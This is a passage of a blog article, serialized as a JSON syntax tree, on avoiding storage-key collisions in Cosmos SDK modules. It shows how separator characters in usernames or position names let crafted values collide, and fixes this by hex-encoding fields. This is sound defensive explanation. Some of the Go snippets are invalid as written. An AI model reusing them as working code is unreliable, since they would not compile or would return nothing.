\"|\"\n",{"type":23,"tag":504,"props":84093,"children":84094},{"class":506,"line":555},[84095],{"type":23,"tag":504,"props":84096,"children":84097},{"style":523},[84098],{"type":28,"value":1192},{"type":23,"tag":504,"props":84100,"children":84101},{"class":506,"line":633},[84102],{"type":23,"tag":504,"props":84103,"children":84104},{"emptyLinePlaceholder":16},[84105],{"type":28,"value":1038},{"type":23,"tag":504,"props":84107,"children":84108},{"class":506,"line":687},[84109,84113,84117,84121,84125,84129],{"type":23,"tag":504,"props":84110,"children":84111},{"style":529},[84112],{"type":28,"value":83957},{"type":23,"tag":504,"props":84114,"children":84115},{"style":598},[84116],{"type":28,"value":75167},{"type":23,"tag":504,"props":84118,"children":84119},{"style":529},[84120],{"type":28,"value":80985},{"type":23,"tag":504,"props":84122,"children":84123},{"style":523},[84124],{"type":28,"value":320},{"type":23,"tag":504,"props":84126,"children":84127},{"style":517},[84128],{"type":28,"value":83974},{"type":23,"tag":504,"props":84130,"children":84131},{"style":523},[84132],{"type":28,"value":2439},{"type":23,"tag":504,"props":84134,"children":84135},{"class":506,"line":736},[84136,84141],{"type":23,"tag":504,"props":84137,"children":84138},{"style":622},[84139],{"type":28,"value":84140},"    \"%d%s%s%s%s\"",{"type":23,"tag":504,"props":84142,"children":84143},{"style":523},[84144],{"type":28,"value":2484},{"type":23,"tag":504,"props":84146,"children":84147},{"class":506,"line":785},[84148,84152],{"type":23,"tag":504,"props":84149,"children":84150},{"style":529},[84151],{"type":28,"value":83998},{"type":23,"tag":504,"props":84153,"children":84154},{"style":523},[84155],{"type":28,"value":2484},{"type":23,"tag":504,"props":84157,"children":84158},{"class":506,"line":813},[84159,84163],{"type":23,"tag":504,"props":84160,"children":84161},{"style":529},[84162],{"type":28,"value":84082},{"type":23,"tag":504,"props":84164,"children":84165},{"style":523},[84166],{"type":28,"value":2484},{"type":23,"tag":504,"props":84168,"children":84169},{"class":506,"line":851},[84170,84174],{"type":23,"tag":504,"props":84171,"children":84172},{"style":529},[84173],{"type":28,"value":84010},{"type":23,"tag":504,"props":84175,"children":84176},{"style":523},[84177],{"type":28,"value":2484},{"type":23,"tag":504,"props":84179,"children":84180},{"class":506,"line":869},[84181,84185],{"type":23,"tag":504,"props":84182,"children":84183},{"style":529},[84184],{"type":28,"value":84082},{"type":23,"tag":504,"props":84186,"children":84187},{"style":523},[84188],{"type":28,"value":2484},{"type":23,"tag":504,"props":84190,"children":84191},{"class":506,"line":878},[84192,84196],{"type":23,"tag":504,"props":84193,"children":84194},{"style":529},[84195],{"type":28,"value":84022},{"type":23,"tag":504,"props":84197,"children":84198},{"style":523},[84199],{"type":28,"value":2484},{"type":23,"tag":504,"props":84201,"children":84202},{"class":506,"line":1221},[84203],{"type":23,"tag":504,"props":84204,"children":84205},{"style":523},[84206],{"type":28,"value":1192},{"type":23,"tag":24,"props":84208,"children":84209},{},[84210],{"type":28,"value":84211},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":84213,"children":84214},{},[84215,84217,84223,84224,84230],{"type":28,"value":84216},"Sadly, it doesn't. Since the ",{"type":23,"tag":56,"props":84218,"children":84220},{"className":84219},[],[84221],{"type":28,"value":84222},"username",{"type":28,"value":430},{"type":23,"tag":56,"props":84225,"children":84227},{"className":84226},[],[84228],{"type":28,"value":84229},"vaultName",{"type":28,"value":84231}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":494,"props":84233,"children":84235},{"code":84234},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[84236],{"type":23,"tag":56,"props":84237,"children":84238},{"__ignoreMap":7},[84239],{"type":28,"value":84234},{"type":23,"tag":24,"props":84241,"children":84242},{},[84243],{"type":28,"value":84244},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":494,"props":84246,"children":84248},{"code":84247,"language":74915,"meta":7,"className":74916,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[84249],{"type":23,"tag":56,"props":84250,"children":84251},{"__ignoreMap":7},[84252,84263,84278,84285,84292,84299,84320,84336,84374,84381,84418,84425,84445,84460,84496,84503,84538,84545,84572,84583,84594,84605,84617,84628,84636],{"type":23,"tag":504,"props":84253,"children":84254},{"class":506,"line":507},[84255,84259],{"type":23,"tag":504,"props":84256,"children":84257},{"style":511},[84258],{"type":28,"value":8635},{"type":23,"tag":504,"props":84260,"children":84261},{"style":523},[84262],{"type":28,"value":77317},{"type":23,"tag":504,"props":84264,"children":84265},{"class":506,"line":540},[84266,84270,84274],{"type":23,"tag":504,"props":84267,"children":84268},{"style":529},[84269],{"type":28,"value":84082},{"type":23,"tag":504,"props":84271,"children":84272},{"style":598},[84273],{"type":28,"value":648},{"type":23,"tag":504,"props":84275,"children":84276},{"style":622},[84277],{"type":28,"value":84091},{"type":23,"tag":504,"props":84279,"children":84280},{"class":506,"line":555},[84281],{"type":23,"tag":504,"props":84282,"children":84283},{"style":523},[84284],{"type":28,"value":1192},{"type":23,"tag":504,"props":84286,"children":84287},{"class":506,"line":633},[84288],{"type":23,"tag":504,"props":84289,"children":84290},{"emptyLinePlaceholder":16},[84291],{"type":28,"value":1038},{"type":23,"tag":504,"props":84293,"children":84294},{"class":506,"line":687},[84295],{"type":23,"tag":504,"props":84296,"children":84297},{"emptyLinePlaceholder":16},[84298],{"type":28,"value":1038},{"type":23,"tag":504,"props":84300,"children":84301},{"class":506,"line":736},[84302,84307,84311,84316],{"type":23,"tag":504,"props":84303,"children":84304},{"style":529},[84305],{"type":28,"value":84306},"usernameEncoded",{"type":23,"tag":504,"props":84308,"children":84309},{"style":598},[84310],{"type":28,"value":75167},{"type":23,"tag":504,"props":84312,"children":84313},{"style":517},[84314],{"type":28,"value":84315}," make",{"type":23,"tag":504,"props":84317,"children":84318},{"style":523},[84319],{"type":28,"value":2439},{"type":23,"tag":504,"props":84321,"children":84322},{"class":506,"line":785},[84323,84328,84332],{"type":23,"tag":504,"props":84324,"children":84325},{"style":523},[84326],{"type":28,"value":84327},"    []",{"type":23,"tag":504,"props":84329,"children":84330},{"style":1012},[84331],{"type":28,"value":83516},{"type":23,"tag":504,"props":84333,"children":84334},{"style":523},[84335],{"type":28,"value":2484},{"type":23,"tag":504,"props":84337,"children":84338},{"class":506,"line":813},[84339,84344,84348,84353,84357,84361,84365,84369],{"type":23,"tag":504,"props":84340,"children":84341},{"style":529},[84342],{"type":28,"value":84343},"    hex",{"type":23,"tag":504,"props":84345,"children":84346},{"style":523},[84347],{"type":28,"value":320},{"type":23,"tag":504,"props":84349,"children":84350},{"style":517},[84351],{"type":28,"value":84352},"EncodedLen",{"type":23,"tag":504,"props":84354,"children":84355},{"style":523},[84356],{"type":28,"value":526},{"type":23,"tag":504,"props":84358,"children":84359},{"style":517},[84360],{"type":28,"value":8121},{"type":23,"tag":504,"props":84362,"children":84363},{"style":523},[84364],{"type":28,"value":526},{"type":23,"tag":504,"props":84366,"children":84367},{"style":529},[84368],{"type":28,"value":84222},{"type":23,"tag":504,"props":84370,"children":84371},{"style":523},[84372],{"type":28,"value":84373},")),\n",{"type":23,"tag":504,"props":84375,"children":84376},{"class":506,"line":851},[84377],{"type":23,"tag":504,"props":84378,"children":84379},{"style":523},[84380],{"type":28,"value":1192},{"type":23,"tag":504,"props":84382,"children":84383},{"class":506,"line":869},[84384,84389,84393,84398,84402,84406,84410,84414],{"type":23,"tag":504,"props":84385,"children":84386},{"style":529},[84387],{"type":28,"value":84388},"hex",{"type":23,"tag":504,"props":84390,"children":84391},{"style":523},[84392],{"type":28,"value":320},{"type":23,"tag":504,"props":84394,"children":84395},{"style":517},[84396],{"type":28,"value":84397},"Encode",{"type":23,"tag":504,"props":84399,"children":84400},{"style":523},[84401],{"type":28,"value":526},{"type":23,"tag":504,"props":84403,"children":84404},{"style":529},[84405],{"type":28,"value":84306},{"type":23,"tag":504,"props":84407,"children":84408},{"style":523},[84409],{"type":28,"value":576},{"type":23,"tag":504,"props":84411,"children":84412},{"style":529},[84413],{"type":28,"value":84222},{"type":23,"tag":504,"props":84415,"children":84416},{"style":523},[84417],{"type":28,"value":1192},{"type":23,"tag":504,"props":84419,"children":84420},{"class":506,"line":878},[84421],{"type":23,"tag":504,"props":84422,"children":84423},{"emptyLinePlaceholder":16},[84424],{"type":28,"value":1038},{"type":23,"tag":504,"props":84426,"children":84427},{"class":506,"line":1221},[84428,84433,84437,84441],{"type":23,"tag":504,"props":84429,"children":84430},{"style":529},[84431],{"type":28,"value":84432},"positionNameEncoded",{"type":23,"tag":504,"props":84434,"children":84435},{"style":598},[84436],{"type":28,"value":75167},{"type":23,"tag":504,"props":84438,"children":84439},{"style":517},[84440],{"type":28,"value":84315},{"type":23,"tag":504,"props":84442,"children":84443},{"style":523},[84444],{"type":28,"value":2439},{"type":23,"tag":504,"props":84446,"children":84447},{"class":506,"line":1276},[84448,84452,84456],{"type":23,"tag":504,"props":84449,"children":84450},{"style":523},[84451],{"type":28,"value":84327},{"type":23,"tag":504,"props":84453,"children":84454},{"style":1012},[84455],{"type":28,"value":83516},{"type":23,"tag":504,"props":84457,"children":84458},{"style":523},[84459],{"type":28,"value":2484},{"type":23,"tag":504,"props":84461,"children":84462},{"class":506,"line":1285},[84463,84467,84471,84475,84479,84483,84487,84492],{"type":23,"tag":504,"props":84464,"children":84465},{"style":529},[84466],{"type":28,"value":84343},{"type":23,"tag":504,"props":84468,"children":84469},{"style":523},[84470],{"type":28,"value":320},{"type":23,"tag":504,"props":84472,"children":84473},{"style":517},[84474],{"type":28,"value":84352},{"type":23,"tag":504,"props":84476,"children":84477},{"style":523},[84478],{"type":28,"value":526},{"type":23,"tag":504,"props":84480,"children":84481},{"style":517},[84482],{"type":28,"value":8121},{"type":23,"tag":504,"props":84484,"children":84485},{"style":523},[84486],{"type":28,"value":526},{"type":23,"tag":504,"props":84488,"children":84489},{"style":529},[84490],{"type":28,"value":84491},"positionName",{"type":23,"tag":504,"props":84493,"children":84494},{"style":523},[84495],{"type":28,"value":84373},{"type":23,"tag":504,"props":84497,"children":84498},{"class":506,"line":1294},[84499],{"type":23,"tag":504,"props":84500,"children":84501},{"style":523},[84502],{"type":28,"value":1192},{"type":23,"tag":504,"props":84504,"children":84505},{"class":506,"line":1302},[84506,84510,84514,84518,84522,84526,84530,84534],{"type":23,"tag":504,"props":84507,"children":84508},{"style":529},[84509],{"type":28,"value":84388},{"type":23,"tag":504,"props":84511,"children":84512},{"style":523},[84513],{"type":28,"value":320},{"type":23,"tag":504,"props":84515,"children":84516},{"style":517},[84517],{"type":28,"value":84397},{"type":23,"tag":504,"props":84519,"children":84520},{"style":523},[84521],{"type":28,"value":526},{"type":23,"tag":504,"props":84523,"children":84524},{"style":529},[84525],{"type":28,"value":84432},{"type":23,"tag":504,"props":84527,"children":84528},{"style":523},[84529],{"type":28,"value":576},{"type":23,"tag":504,"props":84531,"children":84532},{"style":529},[84533],{"type":28,"value":84491},{"type":23,"tag":504,"props":84535,"children":84536},{"style":523},[84537],{"type":28,"value":1192},{"type":23,"tag":504,"props":84539,"children":84540},{"class":506,"line":1311},[84541],{"type":23,"tag":504,"props":84542,"children":84543},{"emptyLinePlaceholder":16},[84544],{"type":28,"value":1038},{"type":23,"tag":504,"props":84546,"children":84547},{"class":506,"line":1334},[84548,84552,84556,84560,84564,84568],{"type":23,"tag":504,"props":84549,"children":84550},{"style":529},[84551],{"type":28,"value":83957},{"type":23,"tag":504,"props":84553,"children":84554},{"style":598},[84555],{"type":28,"value":75167},{"type":23,"tag":504,"props":84557,"children":84558},{"style":529},[84559],{"type":28,"value":80985},{"type":23,"tag":504,"props":84561,"children":84562},{"style":523},[84563],{"type":28,"value":320},{"type":23,"tag":504,"props":84565,"children":84566},{"style":517},[84567],{"type":28,"value":83974},{"type":23,"tag":504,"props":84569,"children":84570},{"style":523},[84571],{"type":28,"value":2439},{"type":23,"tag":504,"props":84573,"children":84574},{"class":506,"line":1370},[84575,84579],{"type":23,"tag":504,"props":84576,"children":84577},{"style":622},[84578],{"type":28,"value":84140},{"type":23,"tag":504,"props":84580,"children":84581},{"style":523},[84582],{"type":28,"value":2484},{"type":23,"tag":504,"props":84584,"children":84585},{"class":506,"line":1384},[84586,84590],{"type":23,"tag":504,"props":84587,"children":84588},{"style":529},[84589],{"type":28,"value":83998},{"type":23,"tag":504,"props":84591,"children":84592},{"style":523},[84593],{"type":28,"value":2484},{"type":23,"tag":504,"props":84595,"children":84596},{"class":506,"line":1392},[84597,84601],{"type":23,"tag":504,"props":84598,"children":84599},{"style":529},[84600],{"type":28,"value":84082},{"type":23,"tag":504,"props":84602,"children":84603},{"style":523},[84604],{"type":28,"value":2484},{"type":23,"tag":504,"props":84606,"children":84607},{"class":506,"line":1400},[84608,84613],{"type":23,"tag":504,"props":84609,"children":84610},{"style":529},[84611],{"type":28,"value":84612},"    usernameEncoded",{"type":23,"tag":504,"props":84614,"children":84615},{"style":523},[84616],{"type":28,"value":2484},{"type":23,"tag":504,"props":84618,"children":84619},{"class":506,"line":1422},[84620,84624],{"type":23,"tag":504,"props":84621,"children":84622},{"style":529},[84623],{"type":28,"value":84082},{"type":23,"tag":504,"props":84625,"children":84626},{"style":523},[84627],{"type":28,"value":2484},{"type":23,"tag":504,"props":84629,"children":84630},{"class":506,"line":1450},[84631],{"type":23,"tag":504,"props":84632,"children":84633},{"style":529},[84634],{"type":28,"value":84635},"    positionNameEncoded\n",{"type":23,"tag":504,"props":84637,"children":84638},{"class":506,"line":1463},[84639],{"type":23,"tag":504,"props":84640,"children":84641},{"style":523},[84642],{"type":28,"value":1192},{"type":23,"tag":24,"props":84644,"children":84645},{},[84646,84648,84653],{"type":28,"value":84647},"We did it. We finally eliminated all potential ",{"type":23,"tag":56,"props":84649,"children":84651},{"className":84650},[],[84652],{"type":28,"value":83957},{"type":28,"value":84654}," collisions.",{"type":23,"tag":24,"props":84656,"children":84657},{},[84658],{"type":28,"value":84659},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":84661,"children":84662},{},[84663,84665,84671,84673,84678,84680,84685,84687,84692,84694,84700],{"type":28,"value":84664},"In the Cosmos framework, it is common for each ",{"type":23,"tag":56,"props":84666,"children":84668},{"className":84667},[],[84669],{"type":28,"value":84670},"Module",{"type":28,"value":84672}," to own a few ",{"type":23,"tag":56,"props":84674,"children":84676},{"className":84675},[],[84677],{"type":28,"value":83728},{"type":28,"value":84679}," and have individual ",{"type":23,"tag":56,"props":84681,"children":84683},{"className":84682},[],[84684],{"type":28,"value":78696},{"type":28,"value":84686},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":56,"props":84688,"children":84690},{"className":84689},[],[84691],{"type":28,"value":83728},{"type":28,"value":84693}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":56,"props":84695,"children":84697},{"className":84696},[],[84698],{"type":28,"value":84699},"Modules",{"type":28,"value":320},{"type":23,"tag":24,"props":84702,"children":84703},{},[84704,84706,84711],{"type":28,"value":84705},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":56,"props":84707,"children":84709},{"className":84708},[],[84710],{"type":28,"value":83728},{"type":28,"value":2133},{"type":23,"tag":24,"props":84713,"children":84714},{},[84715,84717,84723,84725,84730],{"type":28,"value":84716},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":56,"props":84718,"children":84720},{"className":84719},[],[84721],{"type":28,"value":84722},"NameToAddressMap",{"type":28,"value":84724}," structure, which will be stored in the same ",{"type":23,"tag":56,"props":84726,"children":84728},{"className":84727},[],[84729],{"type":28,"value":83728},{"type":28,"value":84731}," we previously used.",{"type":23,"tag":494,"props":84733,"children":84735},{"code":84734,"language":74915,"meta":7,"className":74916,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[84736],{"type":23,"tag":56,"props":84737,"children":84738},{"__ignoreMap":7},[84739,84754,84769,84776,84791,84810,84825,84832,84847,84902,84909,84925,84945,84960,84967,84983],{"type":23,"tag":504,"props":84740,"children":84741},{"class":506,"line":507},[84742,84746,84750],{"type":23,"tag":504,"props":84743,"children":84744},{"style":511},[84745],{"type":28,"value":31734},{"type":23,"tag":504,"props":84747,"children":84748},{"style":1012},[84749],{"type":28,"value":83774},{"type":23,"tag":504,"props":84751,"children":84752},{"style":1012},[84753],{"type":28,"value":74953},{"type":23,"tag":504,"props":84755,"children":84756},{"class":506,"line":540},[84757,84761,84765],{"type":23,"tag":504,"props":84758,"children":84759},{"style":511},[84760],{"type":28,"value":31734},{"type":23,"tag":504,"props":84762,"children":84763},{"style":1012},[84764],{"type":28,"value":83790},{"type":23,"tag":504,"props":84766,"children":84767},{"style":1012},[84768],{"type":28,"value":83795},{"type":23,"tag":504,"props":84770,"children":84771},{"class":506,"line":555},[84772],{"type":23,"tag":504,"props":84773,"children":84774},{"emptyLinePlaceholder":16},[84775],{"type":28,"value":1038},{"type":23,"tag":504,"props":84777,"children":84778},{"class":506,"line":633},[84779,84783,84787],{"type":23,"tag":504,"props":84780,"children":84781},{"style":511},[84782],{"type":28,"value":31734},{"type":23,"tag":504,"props":84784,"children":84785},{"style":1012},[84786],{"type":28,"value":83807},{"type":23,"tag":504,"props":84788,"children":84789},{"style":1012},[84790],{"type":28,"value":83795},{"type":23,"tag":504,"props":84792,"children":84793},{"class":506,"line":687},[84794,84798,84802,84806],{"type":23,"tag":504,"props":84795,"children":84796},{"style":511},[84797],{"type":28,"value":31734},{"type":23,"tag":504,"props":84799,"children":84800},{"style":1012},[84801],{"type":28,"value":6408},{"type":23,"tag":504,"props":84803,"children":84804},{"style":511},[84805],{"type":28,"value":20132},{"type":23,"tag":504,"props":84807,"children":84808},{"style":523},[84809],{"type":28,"value":552},{"type":23,"tag":504,"props":84811,"children":84812},{"class":506,"line":736},[84813,84817,84821],{"type":23,"tag":504,"props":84814,"children":84815},{"style":529},[84816],{"type":28,"value":42207},{"type":23,"tag":504,"props":84818,"children":84819},{"style":523},[84820],{"type":28,"value":74978},{"type":23,"tag":504,"props":84822,"children":84823},{"style":1012},[84824],{"type":28,"value":82979},{"type":23,"tag":504,"props":84826,"children":84827},{"class":506,"line":785},[84828],{"type":23,"tag":504,"props":84829,"children":84830},{"style":523},[84831],{"type":28,"value":884},{"type":23,"tag":504,"props":84833,"children":84834},{"class":506,"line":813},[84835,84839,84843],{"type":23,"tag":504,"props":84836,"children":84837},{"style":511},[84838],{"type":28,"value":31734},{"type":23,"tag":504,"props":84840,"children":84841},{"style":1012},[84842],{"type":28,"value":83864},{"type":23,"tag":504,"props":84844,"children":84845},{"style":598},[84846],{"type":28,"value":83869},{"type":23,"tag":504,"props":84848,"children":84849},{"class":506,"line":851},[84850,84854,84858,84862,84866,84870,84874,84878,84882,84886,84890,84894,84898],{"type":23,"tag":504,"props":84851,"children":84852},{"style":511},[84853],{"type":28,"value":83877},{"type":23,"tag":504,"props":84855,"children":84856},{"style":523},[84857],{"type":28,"value":2711},{"type":23,"tag":504,"props":84859,"children":84860},{"style":1012},[84861],{"type":28,"value":83886},{"type":23,"tag":504,"props":84863,"children":84864},{"style":523},[84865],{"type":28,"value":14391},{"type":23,"tag":504,"props":84867,"children":84868},{"style":511},[84869],{"type":28,"value":66082},{"type":23,"tag":504,"props":84871,"children":84872},{"style":523},[84873],{"type":28,"value":2711},{"type":23,"tag":504,"props":84875,"children":84876},{"style":1012},[84877],{"type":28,"value":83903},{"type":23,"tag":504,"props":84879,"children":84880},{"style":523},[84881],{"type":28,"value":14391},{"type":23,"tag":504,"props":84883,"children":84884},{"style":511},[84885],{"type":28,"value":66082},{"type":23,"tag":504,"props":84887,"children":84888},{"style":523},[84889],{"type":28,"value":2711},{"type":23,"tag":504,"props":84891,"children":84892},{"style":1012},[84893],{"type":28,"value":83920},{"type":23,"tag":504,"props":84895,"children":84896},{"style":523},[84897],{"type":28,"value":14391},{"type":23,"tag":504,"props":84899,"children":84900},{"style":1012},[84901],{"type":28,"value":83929},{"type":23,"tag":504,"props":84903,"children":84904},{"class":506,"line":869},[84905],{"type":23,"tag":504,"props":84906,"children":84907},{"emptyLinePlaceholder":16},[84908],{"type":28,"value":1038},{"type":23,"tag":504,"props":84910,"children":84911},{"class":506,"line":878},[84912,84916,84921],{"type":23,"tag":504,"props":84913,"children":84914},{"style":511},[84915],{"type":28,"value":31734},{"type":23,"tag":504,"props":84917,"children":84918},{"style":1012},[84919],{"type":28,"value":84920}," AddressName",{"type":23,"tag":504,"props":84922,"children":84923},{"style":1012},[84924],{"type":28,"value":83795},{"type":23,"tag":504,"props":84926,"children":84927},{"class":506,"line":1221},[84928,84932,84937,84941],{"type":23,"tag":504,"props":84929,"children":84930},{"style":511},[84931],{"type":28,"value":31734},{"type":23,"tag":504,"props":84933,"children":84934},{"style":1012},[84935],{"type":28,"value":84936}," Address",{"type":23,"tag":504,"props":84938,"children":84939},{"style":511},[84940],{"type":28,"value":20132},{"type":23,"tag":504,"props":84942,"children":84943},{"style":523},[84944],{"type":28,"value":552},{"type":23,"tag":504,"props":84946,"children":84947},{"class":506,"line":1276},[84948,84952,84956],{"type":23,"tag":504,"props":84949,"children":84950},{"style":529},[84951],{"type":28,"value":14084},{"type":23,"tag":504,"props":84953,"children":84954},{"style":523},[84955],{"type":28,"value":74978},{"type":23,"tag":504,"props":84957,"children":84958},{"style":1012},[84959],{"type":28,"value":82979},{"type":23,"tag":504,"props":84961,"children":84962},{"class":506,"line":1285},[84963],{"type":23,"tag":504,"props":84964,"children":84965},{"style":523},[84966],{"type":28,"value":884},{"type":23,"tag":504,"props":84968,"children":84969},{"class":506,"line":1294},[84970,84974,84979],{"type":23,"tag":504,"props":84971,"children":84972},{"style":511},[84973],{"type":28,"value":31734},{"type":23,"tag":504,"props":84975,"children":84976},{"style":1012},[84977],{"type":28,"value":84978}," AddressMap",{"type":23,"tag":504,"props":84980,"children":84981},{"style":598},[84982],{"type":28,"value":83869},{"type":23,"tag":504,"props":84984,"children":84985},{"class":506,"line":1302},[84986,84990,84994,84998,85002,85006,85010,85014,85018,85022,85026,85031,85035],{"type":23,"tag":504,"props":84987,"children":84988},{"style":511},[84989],{"type":28,"value":83877},{"type":23,"tag":504,"props":84991,"children":84992},{"style":523},[84993],{"type":28,"value":2711},{"type":23,"tag":504,"props":84995,"children":84996},{"style":1012},[84997],{"type":28,"value":83886},{"type":23,"tag":504,"props":84999,"children":85000},{"style":523},[85001],{"type":28,"value":14391},{"type":23,"tag":504,"props":85003,"children":85004},{"style":511},[85005],{"type":28,"value":66082},{"type":23,"tag":504,"props":85007,"children":85008},{"style":523},[85009],{"type":28,"value":2711},{"type":23,"tag":504,"props":85011,"children":85012},{"style":1012},[85013],{"type":28,"value":83903},{"type":23,"tag":504,"props":85015,"children":85016},{"style":523},[85017],{"type":28,"value":14391},{"type":23,"tag":504,"props":85019,"children":85020},{"style":511},[85021],{"type":28,"value":66082},{"type":23,"tag":504,"props":85023,"children":85024},{"style":523},[85025],{"type":28,"value":2711},{"type":23,"tag":504,"props":85027,"children":85028},{"style":1012},[85029],{"type":28,"value":85030},"AddressName",{"type":23,"tag":504,"props":85032,"children":85033},{"style":523},[85034],{"type":28,"value":14391},{"type":23,"tag":504,"props":85036,"children":85037},{"style":1012},[85038],{"type":28,"value":85039},"Address\n",{"type":23,"tag":24,"props":85041,"children":85042},{},[85043],{"type":28,"value":85044},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":494,"props":85046,"children":85048},{"code":85047,"language":74915,"meta":7,"className":74916,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[85049],{"type":23,"tag":56,"props":85050,"children":85051},{"__ignoreMap":7},[85052,85063,85078,85085,85092,85099,85115,85130,85157,85180,85199,85215,85251,85258,85293,85300,85320,85335,85370,85377,85412,85419,85447,85459,85471,85483,85495,85506,85518,85525,85532,85539,85546,85562,85577,85601,85624,85643,85658,85693,85700,85735,85742,85762,85777,85812,85819,85855,85862,85889,85900,85911,85922,85933,85944,85956,85963],{"type":23,"tag":504,"props":85053,"children":85054},{"class":506,"line":507},[85055,85059],{"type":23,"tag":504,"props":85056,"children":85057},{"style":511},[85058],{"type":28,"value":8635},{"type":23,"tag":504,"props":85060,"children":85061},{"style":523},[85062],{"type":28,"value":77317},{"type":23,"tag":504,"props":85064,"children":85065},{"class":506,"line":540},[85066,85070,85074],{"type":23,"tag":504,"props":85067,"children":85068},{"style":529},[85069],{"type":28,"value":84082},{"type":23,"tag":504,"props":85071,"children":85072},{"style":598},[85073],{"type":28,"value":648},{"type":23,"tag":504,"props":85075,"children":85076},{"style":622},[85077],{"type":28,"value":84091},{"type":23,"tag":504,"props":85079,"children":85080},{"class":506,"line":555},[85081],{"type":23,"tag":504,"props":85082,"children":85083},{"style":523},[85084],{"type":28,"value":1192},{"type":23,"tag":504,"props":85086,"children":85087},{"class":506,"line":633},[85088],{"type":23,"tag":504,"props":85089,"children":85090},{"emptyLinePlaceholder":16},[85091],{"type":28,"value":1038},{"type":23,"tag":504,"props":85093,"children":85094},{"class":506,"line":687},[85095],{"type":23,"tag":504,"props":85096,"children":85097},{"emptyLinePlaceholder":16},[85098],{"type":28,"value":1038},{"type":23,"tag":504,"props":85100,"children":85101},{"class":506,"line":736},[85102,85106,85111],{"type":23,"tag":504,"props":85103,"children":85104},{"style":511},[85105],{"type":28,"value":75051},{"type":23,"tag":504,"props":85107,"children":85108},{"style":517},[85109],{"type":28,"value":85110}," PositionMapKey",{"type":23,"tag":504,"props":85112,"children":85113},{"style":523},[85114],{"type":28,"value":2439},{"type":23,"tag":504,"props":85116,"children":85117},{"class":506,"line":785},[85118,85122,85126],{"type":23,"tag":504,"props":85119,"children":85120},{"style":529},[85121],{"type":28,"value":83998},{"type":23,"tag":504,"props":85123,"children":85124},{"style":1012},[85125],{"type":28,"value":75172},{"type":23,"tag":504,"props":85127,"children":85128},{"style":523},[85129],{"type":28,"value":2484},{"type":23,"tag":504,"props":85131,"children":85132},{"class":506,"line":813},[85133,85137,85141,85145,85149,85153],{"type":23,"tag":504,"props":85134,"children":85135},{"style":529},[85136],{"type":28,"value":84010},{"type":23,"tag":504,"props":85138,"children":85139},{"style":523},[85140],{"type":28,"value":576},{"type":23,"tag":504,"props":85142,"children":85143},{"style":529},[85144],{"type":28,"value":84491},{"type":23,"tag":504,"props":85146,"children":85147},{"style":523},[85148],{"type":28,"value":74978},{"type":23,"tag":504,"props":85150,"children":85151},{"style":1012},[85152],{"type":28,"value":83516},{"type":23,"tag":504,"props":85154,"children":85155},{"style":523},[85156],{"type":28,"value":2484},{"type":23,"tag":504,"props":85158,"children":85159},{"class":506,"line":851},[85160,85164,85168,85172,85176],{"type":23,"tag":504,"props":85161,"children":85162},{"style":523},[85163],{"type":28,"value":75133},{"type":23,"tag":504,"props":85165,"children":85166},{"style":529},[85167],{"type":28,"value":70905},{"type":23,"tag":504,"props":85169,"children":85170},{"style":523},[85171],{"type":28,"value":74978},{"type":23,"tag":504,"props":85173,"children":85174},{"style":1012},[85175],{"type":28,"value":83516},{"type":23,"tag":504,"props":85177,"children":85178},{"style":523},[85179],{"type":28,"value":537},{"type":23,"tag":504,"props":85181,"children":85182},{"class":506,"line":869},[85183,85187,85191,85195],{"type":23,"tag":504,"props":85184,"children":85185},{"style":529},[85186],{"type":28,"value":84612},{"type":23,"tag":504,"props":85188,"children":85189},{"style":598},[85190],{"type":28,"value":75167},{"type":23,"tag":504,"props":85192,"children":85193},{"style":517},[85194],{"type":28,"value":84315},{"type":23,"tag":504,"props":85196,"children":85197},{"style":523},[85198],{"type":28,"value":2439},{"type":23,"tag":504,"props":85200,"children":85201},{"class":506,"line":878},[85202,85207,85211],{"type":23,"tag":504,"props":85203,"children":8